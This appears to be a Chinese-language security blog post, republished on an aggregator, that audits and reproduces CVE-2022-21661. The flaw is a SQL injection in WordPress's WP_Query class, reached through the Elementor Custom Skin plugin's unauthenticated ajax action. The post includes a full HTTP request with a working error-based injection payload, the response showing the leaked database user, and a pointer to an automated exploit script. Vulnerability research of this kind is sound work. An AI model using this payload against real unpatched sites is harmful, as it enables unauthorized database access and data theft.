6

WordPress核心框架WP_Query - 带插件SQL注入代码审计复现(CVE-2022–21661)

 1 year ago
source link: https://fdlucifer.github.io/2023/04/08/wordpress-core-sql-CVE-2022%E2%80%9321661/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

WordPress核心框架WP_Query - 带插件SQL注入代码审计复现(CVE-2022–21661)

  • WordPress-sql.png

Wordpress是世界上使用最多的开源 CMS 之一。在允许开发者自己构建插件和主题来管理网站时,使用许多便捷功能,wordpress的核心会提供插件/主题调用和使用wordpress函数的功能,如数据格式、查询数据库等许多选项在提供的众多wordpress ma类中,在提供查询DB的WP服务器类中发现SQL Injection bug: WP_Query。

由于WP_Query中的处理不当,在某些情况下,SQL注入可能通过以某种方式使用它的插件或主题实现。这个问题在WordPress 5.8.3版本中已经修复。

受影响的旧版本也通过安全发布进行了修复,可以向前追溯到3.7.37。强烈建议启用自动更新。

此漏洞最初由GiaoHangTietKiem JSC的ngocnb和khuyn报告给 ZDI

wordpress < 5.8.3 且未更新的旧版本

漏洞利用链分析

该漏洞发生在WordPress Query (WP_Query)类中。WP_Query对象用于对WordPress数据库执行自定义查询。这个对象被插件和主题用来创建自定义的帖子显示。

该漏洞发生在插件使用易受攻击类时。Elementor Custom Skin就是这样一个插件。在这里,针对WordPress 5.7.0版本和Elementor Custom Skin 插件3.1.3版本测试了该漏洞。

在这个插件中,易受攻击的WP_Query类被用在ajax-pagination.php的get_document_data方法中:

  • wordpress/wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php

  • WordPress-sql11.png

get_document_data方法在请求发送到wp-admin/admin-ajax.php时被调用,action参数是ecsload。

  • wordpress/wp-admin/admin-ajax.php

  • WordPress-sql12.png

admin-ajax.php页面检查请求是否由经过身份验证的用户发出。如果请求来自未经身份验证的用户,则admin-ajax.php调用未经身份验证的Ajax操作。在这里,发送请求时不进行身份验证,因此调用未经过身份验证的Ajax操作,即wp_ajax_nopriv_ecsload。

搜索字符串”wp_ajax_nopriv_ecsload”会显示它是ajax-pagination.php页面中出现的hook名:

  • wordpress/wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php

  • WordPress-sql13.png

wp_ajax_nopriv_ecsload hook名指的是get_document_data回调函数。这意味着do_action方法调用get_document_data方法。

get_document_data方法创建一个WP_Query对象。WP_Query对象的初始化调用下面的get_posts方法:

  • wordpress/wp-includes/class-wp-query.php

  • WordPress-sql14.png
  • WordPress-sql15.png
  • WordPress-sql16.png

回到函数clean_query,当这个改动没有做的时候,默认情况下$query[‘terms’]只会删除in的值,然后再调用到$this->transform_query( $query, ‘term_id’ );。

为了避免下降if,它$query[‘taxonomy’]需要为空或is_taxonomy_hierarchical返回false的值。

  • WordPress-sql20.png

该函数transform_query将检查$query[‘field’] == $resulting_field,如果为真,则返回并且不做进一步处理,因此如果变量$query[‘field’]为term_taxonomy_id,可以退出函数而不更改变量值$query[‘terms’]。

(这里的比较是使用==并且存在Loose比较的漏洞,在某些情况下这个错误可以用来随意创建条件句)。

  • WordPress-sql21.png

get_posts方法首先解析用户提供的参数。接下来,它调用get_sql方法,该方法最终调用get_sql_for_clause从用户提供的数据创建SQL语句的子句。Get_sql_for_clause子句调用clean_query来验证用户提供的字符串。但是,如果taxonomy参数为空,并且字段参数的值是字符串”term_taxonomy_id”,则该方法无法验证terms参数。terms参数的值稍后将在SQL语句中被使用。

  • wordpress/wp-includes/class-wp-tax-query.php

  • WordPress-sql17.png
  • WordPress-sql18.png

注意,get_sql()返回的sql变量被附加到sql SELECT语句中,并使用从WP_Tax_Query->get_sql()方法返回的字符串进行拼接。

  • WordPress-sql19.png
  • WordPress-sql22.png
  • WordPress-sql23.png

稍后,在get_posts方法中,该查询由$wpdb->get_col()方法执行,从而满足SQL注入条件。

调用栈如下:

WP_Query->__construct()
WP_Query->query()
WP_Query->get_posts()
WQ_Tax_Query->get_sql()
WQ_Tax_Query->get_sql_clauses()
WQ_Tax_Query->get_sql_for_query()
WQ_Tax_Query->get_sql_for_clause()
WQ_Tax_Query->clean_query()

主要参数$query只需要满足以下2个条件,就可以触发SQL注入漏洞:

  • $query[‘include_children’]取值为false(或者is_taxonomy_hierarchical($query[‘taxonomy’])取值为false);
  • $query[‘field’]取值为term_taxonomy_id

虽然这是wordpress核心的bug,但是wordpress核心的复用方式并不能触发错误,需要在特定插件和主题中联动。

WP_Query当要查询数据库时,插件/主题会调用该类,从源代码中识别bug的方法是在使用WP_Query($data)和$data是可控的。

在 5.8.3 版本中,wordpress 已经修复了这个错误,查看github的提交更改可以在处理变量之前clean_query添加检查的函数中看到。

在$query[‘terms’]之前新添加了$query[‘field’]的判断

  • WordPress-sql0.png
  1. 本地下载wordpress 5.7.0
  2. 首先自己建一个数据库,供wordpress使用。
  • 注意: 自己先建一下数据库,wordpress无权建立数据库,否则会安装不成功。

  • WordPress-sql1.png

  1. wampserver 把wordpress放进去就可以
  2. 访问http://127.0.0.1/wordpress-5.7/开始安装,选择自己刚才创建的数据库即可。
  3. 搭建完成。登录后台的记得要注销退出,否则无法复现。
  • WordPress-sql3.png
  1. 安装Elementor Custom Skin插件,在后台上传压缩包后,激活插件即可。

  2. 安装Hello Elementor Theme主题,在后台上传压缩包后,选择主题即可。

  3. 安装Elementor Website Builder插件,在后台上传压缩包后,激活插件即可。

  • WordPress-sql10.png

为了看到报错信息,可以将debug打开,如果不打开只能盲注,延时或者外带

  • WordPress-sql4.png
  • 断点位置1

  • WordPress-sql24.png
  • 断点位置2

  • WordPress-sql25.png
  • 断点位置3

  • WordPress-sql26.png
  • 断点位置4

  • WordPress-sql27.png

burp构造请求包进行报错注入

  • request
POST /wordpress-5.7/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress-5.7/wp-admin/index.php
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 223

action=ecsload&query={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or updatexml(0x7e,concat(1,user()),0x7e)#"]}}}&ecs_ajax_settings={"post_id":"1","current_page":1,"widget_id":1,"theme_id":1,"max_num_pages":10}
  • response
HTTP/1.1 500 Internal Server Error
Date: Sun, 09 Apr 2023 06:51:06 GMT
Server: Apache/2.4.54 (Win64) PHP/8.0.26 mod_fcgid/2.3.10-dev
X-Powered-By: PHP/8.0.26
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Length: 1230
Connection: close
Content-Type: text/html; charset=UTF-8

<div id="error"><p class="wpdberror"><strong>WordPress database error:</strong> [XPATH syntax error: 'root@localhost']<br /><code>
SELECT SQL_CALC_FOUND_ROWS wp57_posts.ID
FROM wp57_posts LEFT JOIN wp57_term_relationships ON (wp57_posts.ID = wp57_term_relationships.object_id) LEFT JOIN wp57_posts AS p2 ON (wp57_posts.post_parent = p2.ID)
WHERE 1=1 AND (
wp57_term_relationships.term_taxonomy_id IN (1) or updatexml(0x7e,concat(1,user()),0x7e)#)
) AND wp57_posts.post_type IN ('post', 'page', 'attachment', 'e-landing-page') AND (((wp57_posts.post_status = 'publish') OR (wp57_posts.post_status = 'inherit' AND (p2.post_status = 'publish'))))
GROUP BY wp57_posts.ID
ORDER BY wp57_posts.post_date DESC
LIMIT 10, 10
</code></p></div> <div data-elementor-type="wp-post" data-elementor-id="1" class="elementor elementor-1 elementor-bc-flex-widget" data-elementor-settings="[]">
<div class="elementor-section-wrap">
<p>There has been a critical error on this website.</p><p><a href="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p>
  • WordPress-sql28.png
  • WordPress-sql29.png
  • WordPress-sql30.png

github exp自动化利用(延时注入猜解字段)

python3 sploit.py http://<target-ip>/wp-admin/admin-ajax.php <payload-id> 

受影响插件分析

搜索
new WP_Query
并找可控数据
类似new WP_Query($controlData);
  • PS:相当多的插件和主题受到该漏洞的影响(authen 和 unauthen)

对WordPress网站的主动攻击通常集中在可选的插件上,而不是WordPress核心本身。

今年早些时候,当Fancy Product Designer插件中的一个bug被报告为受到主动攻击时Critical 0-day in Fancy Product Designer Under Active Attack,就出现了这种情况。

同样,Trend Micro sensors也检测到Contact Form 7插件中的文件上传漏洞正在被利用。在这种情况下,漏洞是通过插件暴露的,但存在于WordPress本身。虽然这是一个信息泄露而不是代码执行的问题,但任何暴露的数据对攻击者来说都可能是有价值的。在不久的将来,在主动攻击中看到这个错误并不会让人感到惊讶。

特别感谢GiaoHangTietKiem JSC的ngocnb和khuyenn向ZDI报告这一情况。

他们对该漏洞的原始分析SQL Injection in Wordpress core (CVE-2022–21661)


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK